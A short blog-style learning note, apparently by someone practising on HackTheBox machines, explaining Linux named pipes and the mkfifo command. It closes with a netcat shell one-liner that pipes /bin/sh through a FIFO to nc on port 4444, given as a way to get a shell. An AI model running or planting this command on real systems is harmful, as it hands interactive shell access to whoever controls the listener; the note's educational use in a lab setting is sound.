I am learning new things while attempting hackthebox machines, one of the thing I learned about linux is the named pipe.
To identify whether the file is a named pipe you can list like this:
# ls -lah /tmp/f prw-r--r-- 1 root root 0 Apr 9 11:40 /tmp/f
But if you try to read the content of the /tmp/f the screen will seem like hang…
Because this file is reading from stdin, I will need to do something to the pipe file, such as ls -lah > /tmp/f
In this example I am doing an echo:
To make a piped file, use mkfifo command like this mkfifo /tmp/f which will make a fifo file named “f”.
Why I need to know this, because I want to get the shell from nc server for one of the machine.
with these:
rm /tmp/f mkfifo /tmp/f cat /tmp/f | /bin/sh -i | nc localhost 4444
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